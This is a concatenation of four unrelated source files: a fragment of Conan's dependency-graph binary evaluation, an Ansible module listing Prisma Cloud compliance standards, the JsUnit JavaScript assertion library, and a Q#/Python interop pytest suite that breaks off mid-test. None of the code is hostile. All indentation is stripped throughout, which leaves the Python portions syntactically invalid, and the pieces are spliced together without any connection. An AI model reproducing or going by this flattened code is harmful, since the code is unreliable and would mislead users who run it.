if not revisions_enabled and not node.revision_pinned:
# Do not search for packages for the specific resolved recipe revision but all
package_ref = package_ref.copy_clear_rev()
remote_info = None
if remote:
remote_info = self._get_package_info(package_ref, remote)
# If the "remote" came from the registry but the user didn't specified the -r, with
# revisions iterate all remotes
if not remote or (not remote_info and revisions_enabled and not remote_name):
for r in remotes:
remote_info = self._get_package_info(package_ref, r)
if remote_info:
remote = r
break
if remote_info:
node.binary = BINARY_DOWNLOAD
package_hash = remote_info.recipe_hash
else:
if build_mode.allowed(conanfile, conan_ref):
node.binary = BINARY_BUILD
else:
node.binary = BINARY_MISSING
if build_mode.outdated:
if node.binary in (BINARY_CACHE, BINARY_DOWNLOAD, BINARY_UPDATE):
local_recipe_hash = self._client_cache.load_manifest(package_ref.conan).summary_hash
if local_recipe_hash != package_hash:
output.info("Outdated package!")
node.binary = BINARY_BUILD
else:
output.info("Package is up to date")
node.binary_remote = remote
def evaluate_graph(self, deps_graph, build_mode, update, remote_name):
evaluated_references = {}
for node in deps_graph.nodes:
if not node.conan_ref or node.binary: # Only value should be SKIP
continue
private_neighbours = node.private_neighbors()
if private_neighbours:
self._evaluate_node(node, build_mode, update, evaluated_references, remote_name)
if node.binary in (BINARY_CACHE, BINARY_DOWNLOAD, BINARY_UPDATE):
for neigh in private_neighbours:
neigh.binary = BINARY_SKIP
closure = deps_graph.full_closure(neigh, private=True)
for n in closure:
n.binary = BINARY_SKIP
for node in deps_graph.nodes:
if not node.conan_ref or node.binary:
continue
self._evaluate_node(node, build_mode, update, evaluated_references, remote_name)
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright 2020 Palo Alto Networks, Inc
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from __future__ import absolute_import, division, print_function
__metaclass__ = type
ANSIBLE_METADATA = {'metadata_version': '1.1',
'status': ['preview'],
'supported_by': 'community'}
DOCUMENTATION = '''
---
module: prismacloud_compliance_standard_facts
short_description: Retrieves info on compliance standards.
description:
- This module retrieves compliance standard facts.
author:
- Garfield Lee Freeman (@shinmog)
version_added: "2.9"
extends_documentation_fragment:
- paloaltonetworks.prismacloud.fragments.facts
options:
name:
description:
- Filter on compliance standards with this name.
cloud_types:
description:
- Filter on the specified cloud types.
type: list
system_default:
description:
- Filter on a specific system default setting.
type: bool
'''
EXAMPLES = '''
- name: get list of compliance standards
prismacloud_compliance_standard_facts:
register: ans
- debug:
msg: '{{ ans.listing }}'
'''
RETURN = '''
total:
description: number of results in the listing
returned: success
type: int
listing:
description: list of results
returned: success
type: list
'''
from ansible.module_utils.basic import AnsibleModule
from ansible_collections.paloaltonetworks.prismacloud.plugins.module_utils import prismacloud as pc
def main():
module = AnsibleModule(
argument_spec=dict(
name=dict(),
cloud_types=dict(type='list'),
system_default=dict(type='bool'),
details=pc.details_spec(),
),
supports_check_mode=False,
)
client = pc.PrismaCloudRequest(module)
name = module.params['name']
cloud_types = module.params['cloud_types']
system_default = module.params['system_default']
details = module.params['details']
path = ['compliance', ]
listing = client.get(path)
ans = []
for x in listing:
if name is not None and x['name'] != name:
continue
if cloud_types is not None and set(cloud_types).isdisjoint(set(x['cloudType'])):
continue
if system_default is not None and x['systemDefault'] != system_default:
continue
val = None
if details:
path = ['compliance', x['id']]
val = client.get(path)
else:
val = pc.hide_details(x, ['name', 'id', 'cloudType', 'systemDefault'])
ans.append(val)
module.exit_json(changed=False, total=len(listing), listing=ans)
if __name__ == '__main__':
main()
|
var JSUNIT_UNDEFINED_VALUE;
var JSUNIT_VERSION = 2.2;
var isTestPageLoaded = false;
//hack for NS62 bug
(function () {
if (typeof top === 'undefined') { return; }
var tempTop = top;
if (!tempTop) {
tempTop = window;
while (tempTop.parent && tempTop.parent !== tempTop) {
tempTop = tempTop.parent;
if (tempTop.top && tempTop.top.jsUnitTestSuite) {
tempTop = tempTop.top;
break;
}
}
}
try {
window.top = tempTop;
} catch (e) {
}
})();
/**
* A more functional typeof
* @param Object o
* @return String
*/
function _trueTypeOf(something) {
var result = typeof something;
try {
switch (result) {
case 'string':
case 'boolean':
case 'number':
break;
case 'object':
case 'function':
switch (something.constructor) {
case new String().constructor:
result = 'String';
break;
case new Boolean().constructor:
result = 'Boolean';
break;
case new Number().constructor:
result = 'Number';
break;
case new Array().constructor:
result = 'Array';
break;
case new RegExp().constructor:
result = 'RegExp';
break;
case new Date().constructor:
result = 'Date';
break;
case Function:
result = 'Function';
break;
default:
var m = something.constructor.toString().match(/function\s*([^( ]+)\(/);
if (m)
result = m[1];
else
break;
}
break;
}
}
finally {
result = result.substr(0, 1).toUpperCase() + result.substr(1);
return result;
}
}
function _displayStringForValue(aVar) {
var result;
try {
result = '<' + JSON.stringify(aVar) + '>';
} catch (ex) {
// When aVar is cyclic or otherwise not reducable to JSON.
result = '<' + aVar + '>';
}
if (!(aVar === null || aVar === void 0)) {
result += ' (' + _trueTypeOf(aVar) + ')';
}
return result;
}
// TODO(kpreid): It is no longer _necessary_ to do a special escaping exception,
// because the RhinoTestBedWrapper actually checks jsunit.js's output, but it
// still makes the failure more specific. Still probably a better idea to get
// rid of this and replace it with better outside plumbing.
function fail(failureMessage) {
if ('undefined' !== typeof _junit_) {
// If run inside Rhino in the presence of junit, throw an error which will
// escape any exception trapping around the Rhino embedding.
_junit_.fail(failureMessage);
} else {
throw new JsUnitException("Call to fail()", failureMessage);
}
}
function error(errorMessage) {
if ('undefined' !== typeof _junit_) {
// If run inside Rhino in the presence of junit, throw an error which will
// escape any exception trapping around the Rhino embedding.
_junit_.fail(errorMessage);
} else {
var errorObject = new Object();
errorObject.description = errorMessage;
errorObject.stackTrace = getStackTrace();
throw errorObject;
}
}
function argumentsIncludeComments(expectedNumberOfNonCommentArgs, args) {
return args.length == expectedNumberOfNonCommentArgs + 1;
}
function commentArg(expectedNumberOfNonCommentArgs, args) {
if (argumentsIncludeComments(expectedNumberOfNonCommentArgs, args))
return args[0];
return null;
}
function nonCommentArg(desiredNonCommentArgIndex, expectedNumberOfNonCommentArgs, args) {
return argumentsIncludeComments(expectedNumberOfNonCommentArgs, args) ?
args[desiredNonCommentArgIndex] :
args[desiredNonCommentArgIndex - 1];
}
function _validateArguments(expectedNumberOfNonCommentArgs, args) {
if (!( args.length == expectedNumberOfNonCommentArgs ||
(args.length == expectedNumberOfNonCommentArgs + 1 && typeof(args[0]) == 'string') ))
error('Incorrect arguments passed to assert function');
}
function _assert(comment, booleanValue, failureMessage) {
if (!booleanValue) {
if ('undefined' !== typeof _junit_) {
var message = comment
? (failureMessage ? comment + ': ' + failureMessage : comment)
: failureMessage;
// If run inside Rhino in the presence of junit, throw an error which will
// escape any exception trapping around the Rhino embedding.
_junit_.fail(message);
}
throw new JsUnitException(comment, failureMessage);
}
}
function assert() {
_validateArguments(1, arguments);
var booleanValue = nonCommentArg(1, 1, arguments);
if (typeof(booleanValue) != 'boolean')
error(commentArg(1, arguments) + ': Bad argument to assert(boolean)');
_assert(commentArg(1, arguments), booleanValue === true, 'Call to assert(boolean) with false');
}
function assertTrue() {
_validateArguments(1, arguments);
var booleanValue = nonCommentArg(1, 1, arguments);
if (typeof(booleanValue) != 'boolean')
error(commentArg(1, arguments) + ': Bad argument to assertTrue(boolean)');
_assert(commentArg(1, arguments), booleanValue === true, 'Call to assertTrue(boolean) with false');
}
function assertFalse() {
_validateArguments(1, arguments);
var booleanValue = nonCommentArg(1, 1, arguments);
if (typeof(booleanValue) != 'boolean')
error(commentArg(1, arguments) + ': Bad argument to assertFalse(boolean)');
_assert(commentArg(1, arguments), booleanValue === false, 'Call to assertFalse(boolean) with true');
}
function assertEquals() {
_validateArguments(2, arguments);
var var1 = nonCommentArg(1, 2, arguments);
var var2 = nonCommentArg(2, 2, arguments);
var comment = commentArg(2, arguments);
if ("string" === typeof var1 && "string" === typeof var2 && var1 !== var2) {
// Come up with a minimal diff by finding any common prefix and suffix and
// replacing those with ... and make control characters obvious.
var commonPrefix = 0;
var len1 = var1.length, len2 = var2.length;
var maxPrefixLen = Math.min(len1, len2);
for (; commonPrefix < maxPrefixLen; ++commonPrefix) {
if (var1.charCodeAt(commonPrefix) !== var2.charCodeAt(commonPrefix)) {
break;
}
}
var commonSuffix = 0;
var maxSuffixLen = maxPrefixLen - commonPrefix;
for (; commonSuffix < maxSuffixLen; ++commonSuffix) {
if (var1.charCodeAt(len1 - commonSuffix - 1) !== var2.charCodeAt(
len2 - commonSuffix - 1)) {
break;
}
}
// TODO: Maybe adjust common{Pre,Suf}fix if they end up pointing into a
// surrogate pair.
function context(s) {
return '"'
+ (commonPrefix ? "..." : "")
+ s.substring(commonPrefix, s.length - commonSuffix)
.replace(/[\\\"]/g, "\\$&")
.replace(/\n/g, "\\n")
.replace(/\r/g, "\\r")
+ (commonSuffix ? "..." : "")
+ '"';
}
var minimalDiff = context(var1) + " != " + context(var2);
if (comment) {
comment += ' : ' + minimalDiff;
} else {
comment = minimalDiff;
}
}
_assert(comment, var1 === var2,
'Expected ' + _displayStringForValue(var1) + ' but was '
+ _displayStringForValue(var2));
}
function assertNotEquals() {
_validateArguments(2, arguments);
var var1 = nonCommentArg(1, 2, arguments);
var var2 = nonCommentArg(2, 2, arguments);
_assert(commentArg(2, arguments), var1 !== var2, 'Expected not to be ' + _displayStringForValue(var2));
}
function assertNull() {
_validateArguments(1, arguments);
var aVar = nonCommentArg(1, 1, arguments);
_assert(commentArg(1, arguments), aVar === null, 'Expected ' + _displayStringForValue(null) + ' but was ' + _displayStringForValue(aVar));
}
function assertNotNull() {
_validateArguments(1, arguments);
var aVar = nonCommentArg(1, 1, arguments);
_assert(commentArg(1, arguments), aVar !== null, 'Expected not to be ' + _displayStringForValue(null));
}
function assertUndefined() {
_validateArguments(1, arguments);
var aVar = nonCommentArg(1, 1, arguments);
_assert(commentArg(1, arguments), aVar === void 0, 'Expected ' + _displayStringForValue(void 0) + ' but was ' + _displayStringForValue(aVar));
}
function assertNotUndefined() {
_validateArguments(1, arguments);
var aVar = nonCommentArg(1, 1, arguments);
_assert(commentArg(1, arguments), aVar !== void 0, 'Expected not to be ' + _displayStringForValue(void 0));
}
function assertNaN() {
_validateArguments(1, arguments);
var aVar = nonCommentArg(1, 1, arguments);
_assert(commentArg(1, arguments), isNaN(aVar), 'Expected NaN');
}
function assertNotNaN() {
_validateArguments(1, arguments);
var aVar = nonCommentArg(1, 1, arguments);
_assert(commentArg(1, arguments), !isNaN(aVar), 'Expected not NaN');
}
function assertObjectEquals() {
_validateArguments(2, arguments);
var var1 = nonCommentArg(1, 2, arguments);
var var2 = nonCommentArg(2, 2, arguments);
var type;
var msg = commentArg(2, arguments)?commentArg(2, arguments):'';
var isSame = (var1 === var2);
//shortpath for references to same object
var isEqual = ( (type = _trueTypeOf(var1)) == _trueTypeOf(var2) );
if (isEqual && !isSame) {
switch (type) {
case 'String':
case 'Number':
isEqual = (var1 == var2);
break;
case 'Boolean':
case 'Date':
isEqual = isSame;
break;
case 'RegExp':
case 'Function':
isEqual = (var1.toString() === var2.toString());
break;
default: //Object | Array
isEqual = var1.constructor === var2.constructor;
var i;
for (i in var1) {
assertObjectEquals(msg + ' found nested ' + type + '@' + i + '\n', var1[i], var2[i]);
}
for (i in var2) {
if (!(i in var1)) {
isEqual = false;
}
}
}
}
var ds1 = _displayStringForValue(var1);
var ds2 = _displayStringForValue(var2);
var sep = Math.max(ds1.length, ds2.length) < 40 ? ' ' : '\n';
_assert(msg, isEqual, 'Expected' + sep + ds1 + sep + 'but was' + sep + ds2);
}
assertArrayEquals = assertObjectEquals;
function assertEvaluatesToTrue() {
_validateArguments(1, arguments);
var value = nonCommentArg(1, 1, arguments);
if (!value)
fail(commentArg(1, arguments));
}
function assertEvaluatesToFalse() {
_validateArguments(1, arguments);
var value = nonCommentArg(1, 1, arguments);
if (value)
fail(commentArg(1, arguments));
}
function assertHTMLEquals() {
_validateArguments(2, arguments);
var var1 = nonCommentArg(1, 2, arguments);
var var2 = nonCommentArg(2, 2, arguments);
var var1Standardized = standardizeHTML(var1);
var var2Standardized = standardizeHTML(var2);
_assert(commentArg(2, arguments), var1Standardized === var2Standardized, 'Expected ' + _displayStringForValue(var1Standardized) + ' but was ' + _displayStringForValue(var2Standardized));
}
function assertHashEquals() {
_validateArguments(2, arguments);
var var1 = nonCommentArg(1, 2, arguments);
var var2 = nonCommentArg(2, 2, arguments);
for (var key in var1) {
assertNotUndefined("Expected hash had key " + key + " that was not found", var2[key]);
assertEquals(
"Value for key " + key + " mismatch - expected = " + var1[key] + ", actual = " + var2[key],
var1[key], var2[key]
);
}
for (var key in var2) {
assertNotUndefined("Actual hash had key " + key + " that was not expected", var1[key]);
}
}
function assertRoughlyEquals() {
_validateArguments(3, arguments);
var comment = commentArg(3, arguments);
var expected = nonCommentArg(1, 3, arguments);
var actual = nonCommentArg(2, 3, arguments);
var tolerance = nonCommentArg(3, 3, arguments);
_assert(commentArg(3, arguments),
Math.abs(expected - actual) < tolerance,
"Expected " + expected + ", but got " + actual + " which was more than " + tolerance + " away"
);
}
function assertContains() {
_validateArguments(2, arguments);
var contained = nonCommentArg(1, 2, arguments);
var container = nonCommentArg(2, 2, arguments);
_assert(commentArg(2, arguments),
container.indexOf(contained) != -1,
"Expected '" + container + "' to contain '" + contained + "'"
);
}
function assertLessThan(value, exclusiveUpperBound) {
_validateArguments(2, arguments);
var value = nonCommentArg(1, 2, arguments);
var exclusiveUpperBound = nonCommentArg(2, 2, arguments);
if (!(exclusiveUpperBound > value)) {
var comment = commentArg(2, arguments);
error((comment ? comment + ' : ' : '')
+ value + ' >= ' + exclusiveUpperBound);
}
}
function assertThrows(func, opt_msg) {
var nil = {};
var thrown = nil;
try {
func();
} catch (ex) {
thrown = ex;
}
if (thrown !== nil) {
if (opt_msg) { assertEquals(opt_msg, thrown); }
} else {
fail('Did not throw ' + (opt_msg ? opt_msg : 'an exception'));
}
}
function standardizeHTML(html) {
var translator = document.createElement("DIV");
translator.innerHTML = html;
return translator.innerHTML;
}
function isLoaded() {
return isTestPageLoaded;
}
function setUp() {
}
function tearDown() {
}
function getFunctionName(aFunction) {
var regexpResult = aFunction.toString().match(/function(\s*)(\w*)/);
if (regexpResult && regexpResult.length >= 2 && regexpResult[2]) {
return regexpResult[2];
}
return 'anonymous';
}
function getStackTrace() {
var result = '';
if (typeof(arguments.caller) != 'undefined') { // IE, not ECMA
for (var a = arguments.caller; a != null; a = a.caller) {
result += '> ' + getFunctionName(a.callee) + '\n';
if (a.caller == a) {
result += '*';
break;
}
}
}
else { // Mozilla, not ECMA
// fake an exception so we can get Mozilla's error stack
var testExcp;
try
{
throw new Error();
}
catch(testExcp)
{
var stack = parseErrorStack(testExcp);
for (var i = 1; i < stack.length; i++)
{
result += '> ' + stack[i] + '\n';
}
}
}
return result;
}
function parseErrorStack(excp)
{
var stack = [];
var name;
if (!excp || !excp.stack)
{
return stack;
}
var stacklist = excp.stack.split('\n');
for (var i = 0; i < stacklist.length - 1; i++)
{
var framedata = stacklist[i];
name = framedata.match(/^(\w*)/)[1];
if (!name) {
name = 'anonymous';
}
stack[stack.length] = name;
}
// remove top level anonymous functions to match IE
while (stack.length && stack[stack.length - 1] == 'anonymous')
{
stack.length = stack.length - 1;
}
return stack;
}
function JsUnitException(comment, message) {
this.isJsUnitException = true;
this.comment = comment;
this.jsUnitMessage = message;
this.stackTrace = getStackTrace();
}
JsUnitException.prototype.toString = function () {
return ('[JsUnitException ' + (this.comment || '')
+ ' : ' + this.jsUnitMessage + '\n' + this.stackTrace + ']');
};
function warn() {
if (top.tracer != null)
top.tracer.warn(arguments[0], arguments[1]);
}
function inform() {
if (top.tracer != null)
top.tracer.inform(arguments[0], arguments[1]);
}
function info() {
inform(arguments[0], arguments[1]);
}
function debug() {
if (top.tracer != null)
top.tracer.debug(arguments[0], arguments[1]);
}
function setJsUnitTracer(aJsUnitTracer) {
top.tracer = aJsUnitTracer;
}
function trim(str) {
if (str == null)
return null;
var startingIndex = 0;
var endingIndex = str.length - 1;
while (str.substring(startingIndex, startingIndex + 1) == ' ')
startingIndex++;
while (str.substring(endingIndex, endingIndex + 1) == ' ')
endingIndex--;
if (endingIndex < startingIndex)
return '';
return str.substring(startingIndex, endingIndex + 1);
}
function isBlank(str) {
return trim(str) == '';
}
// the functions push(anArray, anObject) and pop(anArray)
// exist because the JavaScript Array.push(anObject) and Array.pop()
// functions are not available in IE 5.0
function push(anArray, anObject) {
anArray[anArray.length] = anObject;
}
function pop(anArray) {
if (anArray.length >= 1) {
delete anArray[anArray.length - 1];
anArray.length--;
}
}
function jsUnitGetParm(name)
{
if (typeof(top.jsUnitParmHash[name]) != 'undefined')
{
return top.jsUnitParmHash[name];
}
return null;
}
if (typeof top !== 'undefined' && typeof(top.xbDEBUG) !== 'undefined' && top.xbDEBUG.on && top.testManager)
{
top.xbDebugTraceObject('top.testManager.containerTestFrame', 'JSUnitException');
// asserts
top.xbDebugTraceFunction('top.testManager.containerTestFrame', '_displayStringForValue');
top.xbDebugTraceFunction('top.testManager.containerTestFrame', 'error');
top.xbDebugTraceFunction('top.testManager.containerTestFrame', 'argumentsIncludeComments');
top.xbDebugTraceFunction('top.testManager.containerTestFrame', 'commentArg');
top.xbDebugTraceFunction('top.testManager.containerTestFrame', 'nonCommentArg');
top.xbDebugTraceFunction('top.testManager.containerTestFrame', '_validateArguments');
top.xbDebugTraceFunction('top.testManager.containerTestFrame', '_assert');
top.xbDebugTraceFunction('top.testManager.containerTestFrame', 'assert');
top.xbDebugTraceFunction('top.testManager.containerTestFrame', 'assertTrue');
top.xbDebugTraceFunction('top.testManager.containerTestFrame', 'assertEquals');
top.xbDebugTraceFunction('top.testManager.containerTestFrame', 'assertNotEquals');
top.xbDebugTraceFunction('top.testManager.containerTestFrame', 'assertNull');
top.xbDebugTraceFunction('top.testManager.containerTestFrame', 'assertNotNull');
top.xbDebugTraceFunction('top.testManager.containerTestFrame', 'assertUndefined');
top.xbDebugTraceFunction('top.testManager.containerTestFrame', 'assertNotUndefined');
top.xbDebugTraceFunction('top.testManager.containerTestFrame', 'assertNaN');
top.xbDebugTraceFunction('top.testManager.containerTestFrame', 'assertNotNaN');
top.xbDebugTraceFunction('top.testManager.containerTestFrame', 'isLoaded');
top.xbDebugTraceFunction('top.testManager.containerTestFrame', 'setUp');
top.xbDebugTraceFunction('top.testManager.containerTestFrame', 'tearDown');
top.xbDebugTraceFunction('top.testManager.containerTestFrame', 'getFunctionName');
top.xbDebugTraceFunction('top.testManager.containerTestFrame', 'getStackTrace');
top.xbDebugTraceFunction('top.testManager.containerTestFrame', 'warn');
top.xbDebugTraceFunction('top.testManager.containerTestFrame', 'inform');
top.xbDebugTraceFunction('top.testManager.containerTestFrame', 'debug');
top.xbDebugTraceFunction('top.testManager.containerTestFrame', 'setJsUnitTracer');
top.xbDebugTraceFunction('top.testManager.containerTestFrame', 'trim');
top.xbDebugTraceFunction('top.testManager.containerTestFrame', 'isBlank');
top.xbDebugTraceFunction('top.testManager.containerTestFrame', 'newOnLoadEvent');
top.xbDebugTraceFunction('top.testManager.containerTestFrame', 'push');
top.xbDebugTraceFunction('top.testManager.containerTestFrame', 'pop');
}
function newOnLoadEvent() {
isTestPageLoaded = true;
}
function jsUnitSetOnLoad(windowRef, onloadHandler) {
var isKonqueror = navigator.userAgent.indexOf('Konqueror/') != -1;
if (typeof(windowRef.attachEvent) !== 'undefined') {
// Internet Explorer, Opera
windowRef.attachEvent("onload", onloadHandler);
} else if (typeof(windowRef.addEventListener) != 'undefined' && !isKonqueror) {
// Mozilla
// exclude Konqueror due to load issues
windowRef.addEventListener("load", onloadHandler, false);
} else if (typeof(windowRef.document.addEventListener) != 'undefined' && !isKonqueror) {
// DOM 2 Events
// exclude Mozilla, Konqueror due to load issues
windowRef.document.addEventListener("load", onloadHandler, false);
} else if (typeof(windowRef.onload) != 'undefined' && windowRef.onload) {
windowRef.jsunit_original_onload = windowRef.onload;
windowRef.onload = function() {
windowRef.jsunit_original_onload();
onloadHandler();
};
} else {
// browsers that do not support windowRef.attachEvent or
// windowRef.addEventListener will override a page's own onload event
windowRef.onload = onloadHandler;
}
}
if (typeof window !== 'undefined') {
jsUnitSetOnLoad(window, newOnLoadEvent);
}
|
#!/bin/env python
# -*- coding: utf-8 -*-
##
# test_iqsharp.py: Tests basic Q#/Python interop functionality.
##
# Copyright (c) Microsoft Corporation.
# Licensed under the MIT License.
##
## IMPORTS ##
import json
import numpy as np
import os
import pytest
import qsharp
import qsharp.experimental
qsharp.experimental.enable_noisy_simulation()
from .utils import set_environment_variables
print ( qsharp.component_versions() )
## SETUP ##
@pytest.fixture(scope="session", autouse=True)
def session_setup():
set_environment_variables()
try:
import qutip as qt
except ImportError:
qt = None
skip_if_no_qutip = pytest.mark.skipif(qt is None, reason="Test requires QuTiP.")
# If we can't import Microsoft as a Python package, then that means that
# the Q# workspace isn't present — probably because the qsharp-core package
# has been installed, since `Operations.qs` isn't part of the package data.
try:
import Microsoft.Quantum.SanityTests
workspace_present = True
except ImportError:
workspace_present = False
skip_if_no_workspace = pytest.mark.skipif(not workspace_present, reason="Local Q# workspace not available in installed package.")
# Finally, not all tests work well from within conda build environments, so
# we disable those tests here.
is_conda = getattr(qsharp.__version__, "is_conda", False) or os.environ.get("QSHARP_PY_ISCONDA", "False").lower() == "true"
skip_if_conda = pytest.mark.skipif(is_conda, reason="Test is not supported from conda-build.")
## TESTS ##
@skip_if_no_workspace
def test_simulate():
"""
Checks that a simple simulate works correctly, both using callable() and
callable.simulate()
"""
from Microsoft.Quantum.SanityTests import HelloQ, HelloAgain
assert HelloQ() == HelloQ.simulate() == ()
assert HelloAgain(
count=1, name="Ada") == HelloAgain.simulate(count=1, name="Ada")
def test_toffoli_simulate():
foo = qsharp.compile("""
open Microsoft.Quantum.Measurement;
operation Foo() : Result {
using (q = Qubit()) {
X(q);
return MResetZ(q);
}
}
""")
assert foo.toffoli_simulate() == 1
@skip_if_no_workspace
def test_tuples():
"""
Checks that tuples are correctly encoded both ways.
"""
from Microsoft.Quantum.SanityTests import IndexIntoTuple
r = IndexIntoTuple.simulate(count=2, tuples=[(0, "Zero"), (1, "One"), (0, "Two"), (0, "Three")])
assert r == (0, "Two")
@skip_if_no_workspace
def test_numpy_types():
"""
Checks that numpy types are correctly encoded.
"""
from Microsoft.Quantum.SanityTests import IndexIntoNestedArray, IndexIntoTuple
r = IndexIntoNestedArray.simulate(index1=1, index2=0, nestedArray=np.array([[100, 101], np.array([110, 111], dtype=np.int64)]))
assert r == 110
tuples = [(0, "Zero"), (1, "One")]
tuples_array = np.empty(len(tuples), dtype=object)
tuples_array[:] = tuples
r = IndexIntoTuple.simulate(count=1, tuples=tuples_array)
assert r == (1, "One")
@skip_if_no_workspace
def test_result():
"""
Checks that Result-type arguments are handled correctly.
"""
from Microsoft.Quantum.SanityTests import EchoResult
r = EchoResult.simulate(input=qsharp.Result.One)
assert r == qsharp.Result.One
r = EchoResult.simulate(input=1)
assert r == qsharp.Result.One
# Current behavior is that non-integer values will get rounded to
# the nearest integer then converted to a Result. Once that behavior
# is fixed, this test should be updated to ensure that the following
# code throws a qsharp.IQSharpError exception.
# See https://github.com/microsoft/qsharp-runtime/issues/376.
r = EchoResult.simulate(input=0.2)
assert r == qsharp.Result.Zero
@skip_if_no_workspace
def test_long_tuple():
"""
Checks that a 10-tuple argument and return value are handled correctly.
"""
ten_tuple = (0, 10, 20, 30, 40, 50, 60, 70, 80, 90)
from Microsoft.Quantum.SanityTests import IndexIntoTenTuple
r = IndexIntoTenTuple.simulate(index=3, tenTuple=ten_tuple)
assert r == 30
r = IndexIntoTenTuple.simulate(index=8, tenTuple=ten_tuple)
assert r == 80
from Microsoft.Quantum.SanityTests import EchoTenTuple
r = EchoTenTuple.simulate(tenTuple=ten_tuple)
assert r == ten_tuple
@skip_if_no_workspace
def test_paulis():
"""
Checks that Pauli-type and arrays of Pauli-type arguments are handled correctly.
"""
from Microsoft.Quantum.SanityTests import SwapFirstPauli
paulis = [qsharp.Pauli.Z, qsharp.Pauli.Z, qsharp.Pauli.Z]
pauliToSwap = qsharp.Pauli.X
r = SwapFirstPauli.simulate(paulis=paulis, pauliToSwap=pauliToSwap)
assert r[0] == [qsharp.Pauli.X, qsharp.Pauli.Z, qsharp.Pauli.Z]
assert r[1] == qsharp.Pauli.Z
# Should also work with string representation
paulis = ["PauliZ", "PauliZ", "PauliZ"]
pauliToSwap = "PauliX"
r = SwapFirstPauli.simulate(paulis=paulis, pauliToSwap=pauliToSwap)
assert r[0] == [qsharp.Pauli.X, qsharp.Pauli.Z, qsharp.Pauli.Z]
assert r[1] == qsharp.Pauli.Z
@skip_if_no_workspace
def test_estimate():
"""
Verifies that resource estimation works.
"""
from Microsoft.Quantum.SanityTests import HelloAgain
r = HelloAgain.estimate_resources(count=4, name="estimate test")
assert r['Measure'] == 8
assert r['QubitClifford'] == 1
assert r['BorrowedWidth'] == 0
@skip_if_no_workspace
def test_trace():
"""
Verifies the trace commands works.
"""
from Microsoft.Quantum.SanityTests import HelloAgain
r = HelloAgain.trace(count=1, name="trace test")
print(r)
assert len(r['qubits']) == 1
assert len(r['operations']) == 1
assert len(r['operations'][0]['children']) == 2
assert r['operations'][0]['gate'] == 'HelloAgain'
assert r['operations'][0]['children'][0]['gate'] == 'M'
assert r['operations'][0]['children'][1]['gate'] == 'Reset'
def test_simple_compile():
"""
Verifies that compile works
"""
op = qsharp.compile( """
operation HelloQ() : Result
{
Message($"Hello from quantum world!");
return Zero;
}
""")
r = op.simulate()
assert r == 0
def test_multi_compile():
"""
Verifies that compile works and that operations
are returned in the correct order
"""
ops = qsharp.compile( """
operation HelloQ() : Result
{
Message($"Hello from quantum world!");
return One;
}
operation Hello2() : Result
{
Message($"Will call hello.");
return HelloQ();
}
""")
assert "HelloQ" == ops[0]._name
assert "Hello2" == ops[1]._name
r = ops[1].simulate()
assert r == qsharp.Result.One
def test_config():
"""
Verifies get and set of config settings of various types
"""
qsharp.config["dump.basisStateLabelingConvention"] = "Bitstring"
qsharp.config["dump.truncateSmallAmplitudes"] = True
qsharp.config["dump.truncationThreshold"] = 1e-6
assert qsharp.config["dump.basisStateLabelingConvention"] == "Bitstring"
assert qsharp.config["dump.truncateSmallAmplitudes"] == True
assert qsharp.config["dump.truncationThreshold"] == 1e-6
@skip_if_conda
def test_packages():
"""
Verifies default package command
"""
pkg_count = len(qsharp.packages._client.get_packages())
with pytest.raises(Exception):
qsharp.packages.add('Invalid.Package.!!!!!!')
assert pkg_count == len(qsharp.packages._client.get_packages())
# We test using a non-QDK package name to avoid possible version conflicts.
qsharp.packages.add('Microsoft.Extensions.Logging')
assert (pkg_count+1) == len(qsharp.packages._client.get_packages())
def test_projects(tmp_path):
"""
Verifies default project command
"""
assert 0 == len(qsharp.projects._client.get_projects())
with pytest.raises(Exception):
qsharp.projects.add('../InvalidPath/InvalidProject.txt')
assert 0 == len(qsharp.projects._client.get_projects())
temp_project_path = tmp_path / 'temp_iqsharp_pytest_project.csproj'
temp_project_path.write_text(f'''
<Project Sdk="Microsoft.Quantum.Sdk/0.12.20072031">
<PropertyGroup>
<TargetFramework>netstandard2.1</TargetFramework>
<IncludeQsharpCorePackages>false</IncludeQsharpCorePackages>
</PropertyGroup>
</Project>
''')
qsharp.projects.add(str(temp_project_path))
assert 1 == len(qsharp.projects._client.get_projects())
class TestCaptureDiagnostics:
def test_basic_capture(self):
dump_plus = qsharp.compile("""
open Microsoft.Quantum.Diagnostics;
operation DumpPlus() : Unit {
use qs = Qubit[2];
within {
H(qs[0]);
H(qs[1]);
} apply {
DumpMachine();
}
}
""")
with qsharp.capture_diagnostics(as_qobj=False) as captured:
dump_plus.simulate()
assert 1 == len(captured)
expected = """
{
"diagnostic_kind": "state-vector",
"qubit_ids": [0, 1],
"n_qubits": 2,
"amplitudes": [{"Real": 0.5000000000000001, "Imaginary": 0.0, "Magnitude": 0.5000000000000001, "Phase": 0.0}, {"Real": 0.5000000000000001, "Imaginary": 0.0, "Magnitude": 0.5000000000000001, "Phase": 0.0}, {"Real": 0.5000000000000001, "Imaginary": 0.0, "Magnitude": 0.5000000000000001, "Phase": 0.0}, {"Real": 0.5000000000000001, "Imaginary": 0.0, "Magnitude": 0.5000000000000001, "Phase": 0.0}]
}
"""
del captured[0]['div_id']
assert json.dumps(json.loads(expected)) == json.dumps(captured[0])
@skip_if_no_qutip
def test_capture_diagnostics_as_qobj(self):
dump_plus = qsharp.compile("""
open Microsoft.Quantum.Diagnostics;
operation DumpPlus() : Unit {
use qs = Qubit[2];
within {
H(qs[0]);
H(qs[1]);
} apply {
DumpMachine();
}
}
""")
with qsharp.capture_diagnostics(as_qobj=True) as captured:
dump_plus.simulate()
assert 1 == len(captured)
assert abs(1.0 - captured[0].norm()) <= 1e-8
import qutip as qt
expected = qt.Qobj([[1], [1], [1], [1]], dims=[[2, 2], [1, 1]]).unit()
assert (expected - captured[0]).norm() <= 1e-8
@skip_if_no_qutip
def test_capture_experimental_diagnostics_as_qobj(self):
dump_plus = qsharp.compile("""
open Microsoft.Quantum.Diagnostics;
operation DumpPlus() : Unit {
use qs = Qubit[2];
within {
H(qs[0]);
H(qs[1]);
} apply {
DumpMachine();
}
}
""")
qsharp.experimental.set_noise_model_by_name('ideal')
qsharp.config['experimental.simulators.nQubits'] = 2
qsharp.config['experimental.simulators.representation'] = 'mixed'
